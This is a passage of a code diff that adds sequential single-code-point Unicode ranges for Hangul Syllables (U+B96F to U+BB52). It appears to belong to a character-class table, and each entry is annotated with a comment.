+ ["\uB96F", "\uB96F"], /* Hangul Syllable */
+ ["\uB970", "\uB970"], /* Hangul Syllable */
+ ["\uB971", "\uB971"], /* Hangul Syllable */
+ ["\uB972", "\uB972"], /* Hangul Syllable */
+ ["\uB973", "\uB973"], /* Hangul Syllable */
+ ["\uB974", "\uB974"], /* Hangul Syllable */
+ ["\uB975", "\uB975"], /* Hangul Syllable */
+ ["\uB976", "\uB976"], /* Hangul Syllable */
+ ["\uB977", "\uB977"], /* Hangul Syllable */
+ ["\uB978", "\uB978"], /* Hangul Syllable */
+ ["\uB979", "\uB979"], /* Hangul Syllable */
+ ["\uB97A", "\uB97A"], /* Hangul Syllable */
+ ["\uB97B", "\uB97B"], /* Hangul Syllable */
+ ["\uB97C", "\uB97C"], /* Hangul Syllable */
+ ["\uB97D", "\uB97D"], /* Hangul Syllable */
+ ["\uB97E", "\uB97E"], /* Hangul Syllable */
+ ["\uB97F", "\uB97F"], /* Hangul Syllable */
+ ["\uB980", "\uB980"], /* Hangul Syllable */
+ ["\uB981", "\uB981"], /* Hangul Syllable */
+ ["\uB982", "\uB982"], /* Hangul Syllable */
+ ["\uB983", "\uB983"], /* Hangul Syllable */
+ ["\uB984", "\uB984"], /* Hangul Syllable */
+ ["\uB985", "\uB985"], /* Hangul Syllable */
+ ["\uB986", "\uB986"], /* Hangul Syllable */
+ ["\uB987", "\uB987"], /* Hangul Syllable */
+ ["\uB988", "\uB988"], /* Hangul Syllable */
+ ["\uB989", "\uB989"], /* Hangul Syllable */
+ ["\uB98A", "\uB98A"], /* Hangul Syllable */
+ ["\uB98B", "\uB98B"], /* Hangul Syllable */
+ ["\uB98C", "\uB98C"], /* Hangul Syllable */
+ ["\uB98D", "\uB98D"], /* Hangul Syllable */
+ ["\uB98E", "\uB98E"], /* Hangul Syllable */
+ ["\uB98F", "\uB98F"], /* Hangul Syllable */
+ ["\uB990", "\uB990"], /* Hangul Syllable */
+ ["\uB991", "\uB991"], /* Hangul Syllable */
+ ["\uB992", "\uB992"], /* Hangul Syllable */
+ ["\uB993", "\uB993"], /* Hangul Syllable */
+ ["\uB994", "\uB994"], /* Hangul Syllable */
+ ["\uB995", "\uB995"], /* Hangul Syllable */
+ ["\uB996", "\uB996"], /* Hangul Syllable */
+ ["\uB997", "\uB997"], /* Hangul Syllable */
+ ["\uB998", "\uB998"], /* Hangul Syllable */
+ ["\uB999", "\uB999"], /* Hangul Syllable */
+ ["\uB99A", "\uB99A"], /* Hangul Syllable */
+ ["\uB99B", "\uB99B"], /* Hangul Syllable */
+ ["\uB99C", "\uB99C"], /* Hangul Syllable */
+ ["\uB99D", "\uB99D"], /* Hangul Syllable */
+ ["\uB99E", "\uB99E"], /* Hangul Syllable */
+ ["\uB99F", "\uB99F"], /* Hangul Syllable */
+ ["\uB9A0", "\uB9A0"], /* Hangul Syllable */
+ ["\uB9A1", "\uB9A1"], /* Hangul Syllable */
+ ["\uB9A2", "\uB9A2"], /* Hangul Syllable */
+ ["\uB9A3", "\uB9A3"], /* Hangul Syllable */
+ ["\uB9A4", "\uB9A4"], /* Hangul Syllable */
+ ["\uB9A5", "\uB9A5"], /* Hangul Syllable */
+ ["\uB9A6", "\uB9A6"], /* Hangul Syllable */
+ ["\uB9A7", "\uB9A7"], /* Hangul Syllable */
+ ["\uB9A8", "\uB9A8"], /* Hangul Syllable */
+ ["\uB9A9", "\uB9A9"], /* Hangul Syllable */
+ ["\uB9AA", "\uB9AA"], /* Hangul Syllable */
+ ["\uB9AB", "\uB9AB"], /* Hangul Syllable */
+ ["\uB9AC", "\uB9AC"], /* Hangul Syllable */
+ ["\uB9AD", "\uB9AD"], /* Hangul Syllable */
+ ["\uB9AE", "\uB9AE"], /* Hangul Syllable */
+ ["\uB9AF", "\uB9AF"], /* Hangul Syllable */
+ ["\uB9B0", "\uB9B0"], /* Hangul Syllable */
+ ["\uB9B1", "\uB9B1"], /* Hangul Syllable */
+ ["\uB9B2", "\uB9B2"], /* Hangul Syllable */
+ ["\uB9B3", "\uB9B3"], /* Hangul Syllable */
+ ["\uB9B4", "\uB9B4"], /* Hangul Syllable */
+ ["\uB9B5", "\uB9B5"], /* Hangul Syllable */
+ ["\uB9B6", "\uB9B6"], /* Hangul Syllable */
+ ["\uB9B7", "\uB9B7"], /* Hangul Syllable */
+ ["\uB9B8", "\uB9B8"], /* Hangul Syllable */
+ ["\uB9B9", "\uB9B9"], /* Hangul Syllable */
+ ["\uB9BA", "\uB9BA"], /* Hangul Syllable */
+ ["\uB9BB", "\uB9BB"], /* Hangul Syllable */
+ ["\uB9BC", "\uB9BC"], /* Hangul Syllable */
+ ["\uB9BD", "\uB9BD"], /* Hangul Syllable */
+ ["\uB9BE", "\uB9BE"], /* Hangul Syllable */
+ ["\uB9BF", "\uB9BF"], /* Hangul Syllable */
+ ["\uB9C0", "\uB9C0"], /* Hangul Syllable */
+ ["\uB9C1", "\uB9C1"], /* Hangul Syllable */
+ ["\uB9C2", "\uB9C2"], /* Hangul Syllable */
+ ["\uB9C3", "\uB9C3"], /* Hangul Syllable */
+ ["\uB9C4", "\uB9C4"], /* Hangul Syllable */
+ ["\uB9C5", "\uB9C5"], /* Hangul Syllable */
+ ["\uB9C6", "\uB9C6"], /* Hangul Syllable */
+ ["\uB9C7", "\uB9C7"], /* Hangul Syllable */
+ ["\uB9C8", "\uB9C8"], /* Hangul Syllable */
+ ["\uB9C9", "\uB9C9"], /* Hangul Syllable */
+ ["\uB9CA", "\uB9CA"], /* Hangul Syllable */
+ ["\uB9CB", "\uB9CB"], /* Hangul Syllable */
+ ["\uB9CC", "\uB9CC"], /* Hangul Syllable */
+ ["\uB9CD", "\uB9CD"], /* Hangul Syllable */
+ ["\uB9CE", "\uB9CE"], /* Hangul Syllable */
+ ["\uB9CF", "\uB9CF"], /* Hangul Syllable */
+ ["\uB9D0", "\uB9D0"], /* Hangul Syllable */
+ ["\uB9D1", "\uB9D1"], /* Hangul Syllable */
+ ["\uB9D2", "\uB9D2"], /* Hangul Syllable */
+ ["\uB9D3", "\uB9D3"], /* Hangul Syllable */
+ ["\uB9D4", "\uB9D4"], /* Hangul Syllable */
+ ["\uB9D5", "\uB9D5"], /* Hangul Syllable */
+ ["\uB9D6", "\uB9D6"], /* Hangul Syllable */
+ ["\uB9D7", "\uB9D7"], /* Hangul Syllable */
+ ["\uB9D8", "\uB9D8"], /* Hangul Syllable */
+ ["\uB9D9", "\uB9D9"], /* Hangul Syllable */
+ ["\uB9DA", "\uB9DA"], /* Hangul Syllable */
+ ["\uB9DB", "\uB9DB"], /* Hangul Syllable */
+ ["\uB9DC", "\uB9DC"], /* Hangul Syllable */
+ ["\uB9DD", "\uB9DD"], /* Hangul Syllable */
+ ["\uB9DE", "\uB9DE"], /* Hangul Syllable */
+ ["\uB9DF", "\uB9DF"], /* Hangul Syllable */
+ ["\uB9E0", "\uB9E0"], /* Hangul Syllable */
+ ["\uB9E1", "\uB9E1"], /* Hangul Syllable */
+ ["\uB9E2", "\uB9E2"], /* Hangul Syllable */
+ ["\uB9E3", "\uB9E3"], /* Hangul Syllable */
+ ["\uB9E4", "\uB9E4"], /* Hangul Syllable */
+ ["\uB9E5", "\uB9E5"], /* Hangul Syllable */
+ ["\uB9E6", "\uB9E6"], /* Hangul Syllable */
+ ["\uB9E7", "\uB9E7"], /* Hangul Syllable */
+ ["\uB9E8", "\uB9E8"], /* Hangul Syllable */
+ ["\uB9E9", "\uB9E9"], /* Hangul Syllable */
+ ["\uB9EA", "\uB9EA"], /* Hangul Syllable */
+ ["\uB9EB", "\uB9EB"], /* Hangul Syllable */
+ ["\uB9EC", "\uB9EC"], /* Hangul Syllable */
+ ["\uB9ED", "\uB9ED"], /* Hangul Syllable */
+ ["\uB9EE", "\uB9EE"], /* Hangul Syllable */
+ ["\uB9EF", "\uB9EF"], /* Hangul Syllable */
+ ["\uB9F0", "\uB9F0"], /* Hangul Syllable */
+ ["\uB9F1", "\uB9F1"], /* Hangul Syllable */
+ ["\uB9F2", "\uB9F2"], /* Hangul Syllable */
+ ["\uB9F3", "\uB9F3"], /* Hangul Syllable */
+ ["\uB9F4", "\uB9F4"], /* Hangul Syllable */
+ ["\uB9F5", "\uB9F5"], /* Hangul Syllable */
+ ["\uB9F6", "\uB9F6"], /* Hangul Syllable */
+ ["\uB9F7", "\uB9F7"], /* Hangul Syllable */
+ ["\uB9F8", "\uB9F8"], /* Hangul Syllable */
+ ["\uB9F9", "\uB9F9"], /* Hangul Syllable */
+ ["\uB9FA", "\uB9FA"], /* Hangul Syllable */
+ ["\uB9FB", "\uB9FB"], /* Hangul Syllable */
+ ["\uB9FC", "\uB9FC"], /* Hangul Syllable */
+ ["\uB9FD", "\uB9FD"], /* Hangul Syllable */
+ ["\uB9FE", "\uB9FE"], /* Hangul Syllable */
+ ["\uB9FF", "\uB9FF"], /* Hangul Syllable */
+ ["\uBA00", "\uBA00"], /* Hangul Syllable */
+ ["\uBA01", "\uBA01"], /* Hangul Syllable */
+ ["\uBA02", "\uBA02"], /* Hangul Syllable */
+ ["\uBA03", "\uBA03"], /* Hangul Syllable */
+ ["\uBA04", "\uBA04"], /* Hangul Syllable */
+ ["\uBA05", "\uBA05"], /* Hangul Syllable */
+ ["\uBA06", "\uBA06"], /* Hangul Syllable */
+ ["\uBA07", "\uBA07"], /* Hangul Syllable */
+ ["\uBA08", "\uBA08"], /* Hangul Syllable */
+ ["\uBA09", "\uBA09"], /* Hangul Syllable */
+ ["\uBA0A", "\uBA0A"], /* Hangul Syllable */
+ ["\uBA0B", "\uBA0B"], /* Hangul Syllable */
+ ["\uBA0C", "\uBA0C"], /* Hangul Syllable */
+ ["\uBA0D", "\uBA0D"], /* Hangul Syllable */
+ ["\uBA0E", "\uBA0E"], /* Hangul Syllable */
+ ["\uBA0F", "\uBA0F"], /* Hangul Syllable */
+ ["\uBA10", "\uBA10"], /* Hangul Syllable */
+ ["\uBA11", "\uBA11"], /* Hangul Syllable */
+ ["\uBA12", "\uBA12"], /* Hangul Syllable */
+ ["\uBA13", "\uBA13"], /* Hangul Syllable */
+ ["\uBA14", "\uBA14"], /* Hangul Syllable */
+ ["\uBA15", "\uBA15"], /* Hangul Syllable */
+ ["\uBA16", "\uBA16"], /* Hangul Syllable */
+ ["\uBA17", "\uBA17"], /* Hangul Syllable */
+ ["\uBA18", "\uBA18"], /* Hangul Syllable */
+ ["\uBA19", "\uBA19"], /* Hangul Syllable */
+ ["\uBA1A", "\uBA1A"], /* Hangul Syllable */
+ ["\uBA1B", "\uBA1B"], /* Hangul Syllable */
+ ["\uBA1C", "\uBA1C"], /* Hangul Syllable */
+ ["\uBA1D", "\uBA1D"], /* Hangul Syllable */
+ ["\uBA1E", "\uBA1E"], /* Hangul Syllable */
+ ["\uBA1F", "\uBA1F"], /* Hangul Syllable */
+ ["\uBA20", "\uBA20"], /* Hangul Syllable */
+ ["\uBA21", "\uBA21"], /* Hangul Syllable */
+ ["\uBA22", "\uBA22"], /* Hangul Syllable */
+ ["\uBA23", "\uBA23"], /* Hangul Syllable */
+ ["\uBA24", "\uBA24"], /* Hangul Syllable */
+ ["\uBA25", "\uBA25"], /* Hangul Syllable */
+ ["\uBA26", "\uBA26"], /* Hangul Syllable */
+ ["\uBA27", "\uBA27"], /* Hangul Syllable */
+ ["\uBA28", "\uBA28"], /* Hangul Syllable */
+ ["\uBA29", "\uBA29"], /* Hangul Syllable */
+ ["\uBA2A", "\uBA2A"], /* Hangul Syllable */
+ ["\uBA2B", "\uBA2B"], /* Hangul Syllable */
+ ["\uBA2C", "\uBA2C"], /* Hangul Syllable */
+ ["\uBA2D", "\uBA2D"], /* Hangul Syllable */
+ ["\uBA2E", "\uBA2E"], /* Hangul Syllable */
+ ["\uBA2F", "\uBA2F"], /* Hangul Syllable */
+ ["\uBA30", "\uBA30"], /* Hangul Syllable */
+ ["\uBA31", "\uBA31"], /* Hangul Syllable */
+ ["\uBA32", "\uBA32"], /* Hangul Syllable */
+ ["\uBA33", "\uBA33"], /* Hangul Syllable */
+ ["\uBA34", "\uBA34"], /* Hangul Syllable */
+ ["\uBA35", "\uBA35"], /* Hangul Syllable */
+ ["\uBA36", "\uBA36"], /* Hangul Syllable */
+ ["\uBA37", "\uBA37"], /* Hangul Syllable */
+ ["\uBA38", "\uBA38"], /* Hangul Syllable */
+ ["\uBA39", "\uBA39"], /* Hangul Syllable */
+ ["\uBA3A", "\uBA3A"], /* Hangul Syllable */
+ ["\uBA3B", "\uBA3B"], /* Hangul Syllable */
+ ["\uBA3C", "\uBA3C"], /* Hangul Syllable */
+ ["\uBA3D", "\uBA3D"], /* Hangul Syllable */
+ ["\uBA3E", "\uBA3E"], /* Hangul Syllable */
+ ["\uBA3F", "\uBA3F"], /* Hangul Syllable */
+ ["\uBA40", "\uBA40"], /* Hangul Syllable */
+ ["\uBA41", "\uBA41"], /* Hangul Syllable */
+ ["\uBA42", "\uBA42"], /* Hangul Syllable */
+ ["\uBA43", "\uBA43"], /* Hangul Syllable */
+ ["\uBA44", "\uBA44"], /* Hangul Syllable */
+ ["\uBA45", "\uBA45"], /* Hangul Syllable */
+ ["\uBA46", "\uBA46"], /* Hangul Syllable */
+ ["\uBA47", "\uBA47"], /* Hangul Syllable */
+ ["\uBA48", "\uBA48"], /* Hangul Syllable */
+ ["\uBA49", "\uBA49"], /* Hangul Syllable */
+ ["\uBA4A", "\uBA4A"], /* Hangul Syllable */
+ ["\uBA4B", "\uBA4B"], /* Hangul Syllable */
+ ["\uBA4C", "\uBA4C"], /* Hangul Syllable */
+ ["\uBA4D", "\uBA4D"], /* Hangul Syllable */
+ ["\uBA4E", "\uBA4E"], /* Hangul Syllable */
+ ["\uBA4F", "\uBA4F"], /* Hangul Syllable */
+ ["\uBA50", "\uBA50"], /* Hangul Syllable */
+ ["\uBA51", "\uBA51"], /* Hangul Syllable */
+ ["\uBA52", "\uBA52"], /* Hangul Syllable */
+ ["\uBA53", "\uBA53"], /* Hangul Syllable */
+ ["\uBA54", "\uBA54"], /* Hangul Syllable */
+ ["\uBA55", "\uBA55"], /* Hangul Syllable */
+ ["\uBA56", "\uBA56"], /* Hangul Syllable */
+ ["\uBA57", "\uBA57"], /* Hangul Syllable */
+ ["\uBA58", "\uBA58"], /* Hangul Syllable */
+ ["\uBA59", "\uBA59"], /* Hangul Syllable */
+ ["\uBA5A", "\uBA5A"], /* Hangul Syllable */
+ ["\uBA5B", "\uBA5B"], /* Hangul Syllable */
+ ["\uBA5C", "\uBA5C"], /* Hangul Syllable */
+ ["\uBA5D", "\uBA5D"], /* Hangul Syllable */
+ ["\uBA5E", "\uBA5E"], /* Hangul Syllable */
+ ["\uBA5F", "\uBA5F"], /* Hangul Syllable */
+ ["\uBA60", "\uBA60"], /* Hangul Syllable */
+ ["\uBA61", "\uBA61"], /* Hangul Syllable */
+ ["\uBA62", "\uBA62"], /* Hangul Syllable */
+ ["\uBA63", "\uBA63"], /* Hangul Syllable */
+ ["\uBA64", "\uBA64"], /* Hangul Syllable */
+ ["\uBA65", "\uBA65"], /* Hangul Syllable */
+ ["\uBA66", "\uBA66"], /* Hangul Syllable */
+ ["\uBA67", "\uBA67"], /* Hangul Syllable */
+ ["\uBA68", "\uBA68"], /* Hangul Syllable */
+ ["\uBA69", "\uBA69"], /* Hangul Syllable */
+ ["\uBA6A", "\uBA6A"], /* Hangul Syllable */
+ ["\uBA6B", "\uBA6B"], /* Hangul Syllable */
+ ["\uBA6C", "\uBA6C"], /* Hangul Syllable */
+ ["\uBA6D", "\uBA6D"], /* Hangul Syllable */
+ ["\uBA6E", "\uBA6E"], /* Hangul Syllable */
+ ["\uBA6F", "\uBA6F"], /* Hangul Syllable */
+ ["\uBA70", "\uBA70"], /* Hangul Syllable */
+ ["\uBA71", "\uBA71"], /* Hangul Syllable */
+ ["\uBA72", "\uBA72"], /* Hangul Syllable */
+ ["\uBA73", "\uBA73"], /* Hangul Syllable */
+ ["\uBA74", "\uBA74"], /* Hangul Syllable */
+ ["\uBA75", "\uBA75"], /* Hangul Syllable */
+ ["\uBA76", "\uBA76"], /* Hangul Syllable */
+ ["\uBA77", "\uBA77"], /* Hangul Syllable */
+ ["\uBA78", "\uBA78"], /* Hangul Syllable */
+ ["\uBA79", "\uBA79"], /* Hangul Syllable */
+ ["\uBA7A", "\uBA7A"], /* Hangul Syllable */
+ ["\uBA7B", "\uBA7B"], /* Hangul Syllable */
+ ["\uBA7C", "\uBA7C"], /* Hangul Syllable */
+ ["\uBA7D", "\uBA7D"], /* Hangul Syllable */
+ ["\uBA7E", "\uBA7E"], /* Hangul Syllable */
+ ["\uBA7F", "\uBA7F"], /* Hangul Syllable */
+ ["\uBA80", "\uBA80"], /* Hangul Syllable */
+ ["\uBA81", "\uBA81"], /* Hangul Syllable */
+ ["\uBA82", "\uBA82"], /* Hangul Syllable */
+ ["\uBA83", "\uBA83"], /* Hangul Syllable */
+ ["\uBA84", "\uBA84"], /* Hangul Syllable */
+ ["\uBA85", "\uBA85"], /* Hangul Syllable */
+ ["\uBA86", "\uBA86"], /* Hangul Syllable */
+ ["\uBA87", "\uBA87"], /* Hangul Syllable */
+ ["\uBA88", "\uBA88"], /* Hangul Syllable */
+ ["\uBA89", "\uBA89"], /* Hangul Syllable */
+ ["\uBA8A", "\uBA8A"], /* Hangul Syllable */
+ ["\uBA8B", "\uBA8B"], /* Hangul Syllable */
+ ["\uBA8C", "\uBA8C"], /* Hangul Syllable */
+ ["\uBA8D", "\uBA8D"], /* Hangul Syllable */
+ ["\uBA8E", "\uBA8E"], /* Hangul Syllable */
+ ["\uBA8F", "\uBA8F"], /* Hangul Syllable */
+ ["\uBA90", "\uBA90"], /* Hangul Syllable */
+ ["\uBA91", "\uBA91"], /* Hangul Syllable */
+ ["\uBA92", "\uBA92"], /* Hangul Syllable */
+ ["\uBA93", "\uBA93"], /* Hangul Syllable */
+ ["\uBA94", "\uBA94"], /* Hangul Syllable */
+ ["\uBA95", "\uBA95"], /* Hangul Syllable */
+ ["\uBA96", "\uBA96"], /* Hangul Syllable */
+ ["\uBA97", "\uBA97"], /* Hangul Syllable */
+ ["\uBA98", "\uBA98"], /* Hangul Syllable */
+ ["\uBA99", "\uBA99"], /* Hangul Syllable */
+ ["\uBA9A", "\uBA9A"], /* Hangul Syllable */
+ ["\uBA9B", "\uBA9B"], /* Hangul Syllable */
+ ["\uBA9C", "\uBA9C"], /* Hangul Syllable */
+ ["\uBA9D", "\uBA9D"], /* Hangul Syllable */
+ ["\uBA9E", "\uBA9E"], /* Hangul Syllable */
+ ["\uBA9F", "\uBA9F"], /* Hangul Syllable */
+ ["\uBAA0", "\uBAA0"], /* Hangul Syllable */
+ ["\uBAA1", "\uBAA1"], /* Hangul Syllable */
+ ["\uBAA2", "\uBAA2"], /* Hangul Syllable */
+ ["\uBAA3", "\uBAA3"], /* Hangul Syllable */
+ ["\uBAA4", "\uBAA4"], /* Hangul Syllable */
+ ["\uBAA5", "\uBAA5"], /* Hangul Syllable */
+ ["\uBAA6", "\uBAA6"], /* Hangul Syllable */
+ ["\uBAA7", "\uBAA7"], /* Hangul Syllable */
+ ["\uBAA8", "\uBAA8"], /* Hangul Syllable */
+ ["\uBAA9", "\uBAA9"], /* Hangul Syllable */
+ ["\uBAAA", "\uBAAA"], /* Hangul Syllable */
+ ["\uBAAB", "\uBAAB"], /* Hangul Syllable */
+ ["\uBAAC", "\uBAAC"], /* Hangul Syllable */
+ ["\uBAAD", "\uBAAD"], /* Hangul Syllable */
+ ["\uBAAE", "\uBAAE"], /* Hangul Syllable */
+ ["\uBAAF", "\uBAAF"], /* Hangul Syllable */
+ ["\uBAB0", "\uBAB0"], /* Hangul Syllable */
+ ["\uBAB1", "\uBAB1"], /* Hangul Syllable */
+ ["\uBAB2", "\uBAB2"], /* Hangul Syllable */
+ ["\uBAB3", "\uBAB3"], /* Hangul Syllable */
+ ["\uBAB4", "\uBAB4"], /* Hangul Syllable */
+ ["\uBAB5", "\uBAB5"], /* Hangul Syllable */
+ ["\uBAB6", "\uBAB6"], /* Hangul Syllable */
+ ["\uBAB7", "\uBAB7"], /* Hangul Syllable */
+ ["\uBAB8", "\uBAB8"], /* Hangul Syllable */
+ ["\uBAB9", "\uBAB9"], /* Hangul Syllable */
+ ["\uBABA", "\uBABA"], /* Hangul Syllable */
+ ["\uBABB", "\uBABB"], /* Hangul Syllable */
+ ["\uBABC", "\uBABC"], /* Hangul Syllable */
+ ["\uBABD", "\uBABD"], /* Hangul Syllable */
+ ["\uBABE", "\uBABE"], /* Hangul Syllable */
+ ["\uBABF", "\uBABF"], /* Hangul Syllable */
+ ["\uBAC0", "\uBAC0"], /* Hangul Syllable */
+ ["\uBAC1", "\uBAC1"], /* Hangul Syllable */
+ ["\uBAC2", "\uBAC2"], /* Hangul Syllable */
+ ["\uBAC3", "\uBAC3"], /* Hangul Syllable */
+ ["\uBAC4", "\uBAC4"], /* Hangul Syllable */
+ ["\uBAC5", "\uBAC5"], /* Hangul Syllable */
+ ["\uBAC6", "\uBAC6"], /* Hangul Syllable */
+ ["\uBAC7", "\uBAC7"], /* Hangul Syllable */
+ ["\uBAC8", "\uBAC8"], /* Hangul Syllable */
+ ["\uBAC9", "\uBAC9"], /* Hangul Syllable */
+ ["\uBACA", "\uBACA"], /* Hangul Syllable */
+ ["\uBACB", "\uBACB"], /* Hangul Syllable */
+ ["\uBACC", "\uBACC"], /* Hangul Syllable */
+ ["\uBACD", "\uBACD"], /* Hangul Syllable */
+ ["\uBACE", "\uBACE"], /* Hangul Syllable */
+ ["\uBACF", "\uBACF"], /* Hangul Syllable */
+ ["\uBAD0", "\uBAD0"], /* Hangul Syllable */
+ ["\uBAD1", "\uBAD1"], /* Hangul Syllable */
+ ["\uBAD2", "\uBAD2"], /* Hangul Syllable */
+ ["\uBAD3", "\uBAD3"], /* Hangul Syllable */
+ ["\uBAD4", "\uBAD4"], /* Hangul Syllable */
+ ["\uBAD5", "\uBAD5"], /* Hangul Syllable */
+ ["\uBAD6", "\uBAD6"], /* Hangul Syllable */
+ ["\uBAD7", "\uBAD7"], /* Hangul Syllable */
+ ["\uBAD8", "\uBAD8"], /* Hangul Syllable */
+ ["\uBAD9", "\uBAD9"], /* Hangul Syllable */
+ ["\uBADA", "\uBADA"], /* Hangul Syllable */
+ ["\uBADB", "\uBADB"], /* Hangul Syllable */
+ ["\uBADC", "\uBADC"], /* Hangul Syllable */
+ ["\uBADD", "\uBADD"], /* Hangul Syllable */
+ ["\uBADE", "\uBADE"], /* Hangul Syllable */
+ ["\uBADF", "\uBADF"], /* Hangul Syllable */
+ ["\uBAE0", "\uBAE0"], /* Hangul Syllable */
+ ["\uBAE1", "\uBAE1"], /* Hangul Syllable */
+ ["\uBAE2", "\uBAE2"], /* Hangul Syllable */
+ ["\uBAE3", "\uBAE3"], /* Hangul Syllable */
+ ["\uBAE4", "\uBAE4"], /* Hangul Syllable */
+ ["\uBAE5", "\uBAE5"], /* Hangul Syllable */
+ ["\uBAE6", "\uBAE6"], /* Hangul Syllable */
+ ["\uBAE7", "\uBAE7"], /* Hangul Syllable */
+ ["\uBAE8", "\uBAE8"], /* Hangul Syllable */
+ ["\uBAE9", "\uBAE9"], /* Hangul Syllable */
+ ["\uBAEA", "\uBAEA"], /* Hangul Syllable */
+ ["\uBAEB", "\uBAEB"], /* Hangul Syllable */
+ ["\uBAEC", "\uBAEC"], /* Hangul Syllable */
+ ["\uBAED", "\uBAED"], /* Hangul Syllable */
+ ["\uBAEE", "\uBAEE"], /* Hangul Syllable */
+ ["\uBAEF", "\uBAEF"], /* Hangul Syllable */
+ ["\uBAF0", "\uBAF0"], /* Hangul Syllable */
+ ["\uBAF1", "\uBAF1"], /* Hangul Syllable */
+ ["\uBAF2", "\uBAF2"], /* Hangul Syllable */
+ ["\uBAF3", "\uBAF3"], /* Hangul Syllable */
+ ["\uBAF4", "\uBAF4"], /* Hangul Syllable */
+ ["\uBAF5", "\uBAF5"], /* Hangul Syllable */
+ ["\uBAF6", "\uBAF6"], /* Hangul Syllable */
+ ["\uBAF7", "\uBAF7"], /* Hangul Syllable */
+ ["\uBAF8", "\uBAF8"], /* Hangul Syllable */
+ ["\uBAF9", "\uBAF9"], /* Hangul Syllable */
+ ["\uBAFA", "\uBAFA"], /* Hangul Syllable */
+ ["\uBAFB", "\uBAFB"], /* Hangul Syllable */
+ ["\uBAFC", "\uBAFC"], /* Hangul Syllable */
+ ["\uBAFD", "\uBAFD"], /* Hangul Syllable */
+ ["\uBAFE", "\uBAFE"], /* Hangul Syllable */
+ ["\uBAFF", "\uBAFF"], /* Hangul Syllable */
+ ["\uBB00", "\uBB00"], /* Hangul Syllable */
+ ["\uBB01", "\uBB01"], /* Hangul Syllable */
+ ["\uBB02", "\uBB02"], /* Hangul Syllable */
+ ["\uBB03", "\uBB03"], /* Hangul Syllable */
+ ["\uBB04", "\uBB04"], /* Hangul Syllable */
+ ["\uBB05", "\uBB05"], /* Hangul Syllable */
+ ["\uBB06", "\uBB06"], /* Hangul Syllable */
+ ["\uBB07", "\uBB07"], /* Hangul Syllable */
+ ["\uBB08", "\uBB08"], /* Hangul Syllable */
+ ["\uBB09", "\uBB09"], /* Hangul Syllable */
+ ["\uBB0A", "\uBB0A"], /* Hangul Syllable */
+ ["\uBB0B", "\uBB0B"], /* Hangul Syllable */
+ ["\uBB0C", "\uBB0C"], /* Hangul Syllable */
+ ["\uBB0D", "\uBB0D"], /* Hangul Syllable */
+ ["\uBB0E", "\uBB0E"], /* Hangul Syllable */
+ ["\uBB0F", "\uBB0F"], /* Hangul Syllable */
+ ["\uBB10", "\uBB10"], /* Hangul Syllable */
+ ["\uBB11", "\uBB11"], /* Hangul Syllable */
+ ["\uBB12", "\uBB12"], /* Hangul Syllable */
+ ["\uBB13", "\uBB13"], /* Hangul Syllable */
+ ["\uBB14", "\uBB14"], /* Hangul Syllable */
+ ["\uBB15", "\uBB15"], /* Hangul Syllable */
+ ["\uBB16", "\uBB16"], /* Hangul Syllable */
+ ["\uBB17", "\uBB17"], /* Hangul Syllable */
+ ["\uBB18", "\uBB18"], /* Hangul Syllable */
+ ["\uBB19", "\uBB19"], /* Hangul Syllable */
+ ["\uBB1A", "\uBB1A"], /* Hangul Syllable */
+ ["\uBB1B", "\uBB1B"], /* Hangul Syllable */
+ ["\uBB1C", "\uBB1C"], /* Hangul Syllable */
+ ["\uBB1D", "\uBB1D"], /* Hangul Syllable */
+ ["\uBB1E", "\uBB1E"], /* Hangul Syllable */
+ ["\uBB1F", "\uBB1F"], /* Hangul Syllable */
+ ["\uBB20", "\uBB20"], /* Hangul Syllable */
+ ["\uBB21", "\uBB21"], /* Hangul Syllable */
+ ["\uBB22", "\uBB22"], /* Hangul Syllable */
+ ["\uBB23", "\uBB23"], /* Hangul Syllable */
+ ["\uBB24", "\uBB24"], /* Hangul Syllable */
+ ["\uBB25", "\uBB25"], /* Hangul Syllable */
+ ["\uBB26", "\uBB26"], /* Hangul Syllable */
+ ["\uBB27", "\uBB27"], /* Hangul Syllable */
+ ["\uBB28", "\uBB28"], /* Hangul Syllable */
+ ["\uBB29", "\uBB29"], /* Hangul Syllable */
+ ["\uBB2A", "\uBB2A"], /* Hangul Syllable */
+ ["\uBB2B", "\uBB2B"], /* Hangul Syllable */
+ ["\uBB2C", "\uBB2C"], /* Hangul Syllable */
+ ["\uBB2D", "\uBB2D"], /* Hangul Syllable */
+ ["\uBB2E", "\uBB2E"], /* Hangul Syllable */
+ ["\uBB2F", "\uBB2F"], /* Hangul Syllable */
+ ["\uBB30", "\uBB30"], /* Hangul Syllable */
+ ["\uBB31", "\uBB31"], /* Hangul Syllable */
+ ["\uBB32", "\uBB32"], /* Hangul Syllable */
+ ["\uBB33", "\uBB33"], /* Hangul Syllable */
+ ["\uBB34", "\uBB34"], /* Hangul Syllable */
+ ["\uBB35", "\uBB35"], /* Hangul Syllable */
+ ["\uBB36", "\uBB36"], /* Hangul Syllable */
+ ["\uBB37", "\uBB37"], /* Hangul Syllable */
+ ["\uBB38", "\uBB38"], /* Hangul Syllable */
+ ["\uBB39", "\uBB39"], /* Hangul Syllable */
+ ["\uBB3A", "\uBB3A"], /* Hangul Syllable */
+ ["\uBB3B", "\uBB3B"], /* Hangul Syllable */
+ ["\uBB3C", "\uBB3C"], /* Hangul Syllable */
+ ["\uBB3D", "\uBB3D"], /* Hangul Syllable */
+ ["\uBB3E", "\uBB3E"], /* Hangul Syllable */
+ ["\uBB3F", "\uBB3F"], /* Hangul Syllable */
+ ["\uBB40", "\uBB40"], /* Hangul Syllable */
+ ["\uBB41", "\uBB41"], /* Hangul Syllable */
+ ["\uBB42", "\uBB42"], /* Hangul Syllable */
+ ["\uBB43", "\uBB43"], /* Hangul Syllable */
+ ["\uBB44", "\uBB44"], /* Hangul Syllable */
+ ["\uBB45", "\uBB45"], /* Hangul Syllable */
+ ["\uBB46", "\uBB46"], /* Hangul Syllable */
+ ["\uBB47", "\uBB47"], /* Hangul Syllable */
+ ["\uBB48", "\uBB48"], /* Hangul Syllable */
+ ["\uBB49", "\uBB49"], /* Hangul Syllable */
+ ["\uBB4A", "\uBB4A"], /* Hangul Syllable */
+ ["\uBB4B", "\uBB4B"], /* Hangul Syllable */
+ ["\uBB4C", "\uBB4C"], /* Hangul Syllable */
+ ["\uBB4D", "\uBB4D"], /* Hangul Syllable */
+ ["\uBB4E", "\uBB4E"], /* Hangul Syllable */
+ ["\uBB4F", "\uBB4F"], /* Hangul Syllable */
+ ["\uBB50", "\uBB50"], /* Hangul Syllable */
+ ["\uBB51", "\uBB51"], /* Hangul Syllable */
+ ["\uBB52", "\uBB52"], /* Hangul Syllable */
